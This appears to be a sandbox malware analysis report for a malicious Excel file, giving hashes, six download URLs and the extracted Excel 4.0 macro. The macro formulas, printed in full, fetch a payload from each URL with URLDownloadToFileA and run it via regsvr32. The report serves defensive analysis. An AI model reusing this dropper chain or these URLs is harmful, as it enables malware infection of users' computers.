General

  • Target

    115836861ec33b1b941c2d209a21c57cbd6ea6c670a17cea70b03186e89f0774

  • Size

    40KB

  • Sample

    241120-kp7jfavjax

  • MD5

    ccb4e1380538340ee4b9344fcc5b5af2

  • SHA1

    90d48b8b639c2574bfc09a10f42c191af8d7c76b

  • SHA256

    115836861ec33b1b941c2d209a21c57cbd6ea6c670a17cea70b03186e89f0774

  • SHA512

    d137a7fcd491e969b01ddde4958efdc5677ef43f83a3076b624ab4b957280f73cc8c817fcda8afd354d188c3b6fd55e963c6f12c22fdfef7b6cc2f710a0b7acd

  • SSDEEP

    768:itby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:abunC5iymqylND59V4jwmXc2Xy3

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

http://en.pachammer.com/wp-content/vIG/

http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/

http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/

http://www.aacitygroup.com/wp-content/EkY9/

https://theoutsourcedaccountant.com/images/nFikTQmP/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/","..\xda.ocx",0,0) =IF('EFEGVE'!F12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://en.pachammer.com/wp-content/vIG/","..\xda.ocx",0,0)) =IF('EFEGVE'!F14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/","..\xda.ocx",0,0)) =IF('EFEGVE'!F16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/","..\xda.ocx",0,0)) =IF('EFEGVE'!F18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.aacitygroup.com/wp-content/EkY9/","..\xda.ocx",0,0)) =IF('EFEGVE'!F20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://theoutsourcedaccountant.com/images/nFikTQmP/","..\xda.ocx",0,0)) =IF('EFEGVE'!F22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xda.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

Targets

    • Target

      115836861ec33b1b941c2d209a21c57cbd6ea6c670a17cea70b03186e89f0774

    • Size

      40KB

    • MD5

      ccb4e1380538340ee4b9344fcc5b5af2

    • SHA1

      90d48b8b639c2574bfc09a10f42c191af8d7c76b

    • SHA256

      115836861ec33b1b941c2d209a21c57cbd6ea6c670a17cea70b03186e89f0774

    • SHA512

      d137a7fcd491e969b01ddde4958efdc5677ef43f83a3076b624ab4b957280f73cc8c817fcda8afd354d188c3b6fd55e963c6f12c22fdfef7b6cc2f710a0b7acd

    • SSDEEP

      768:itby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:abunC5iymqylND59V4jwmXc2Xy3

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks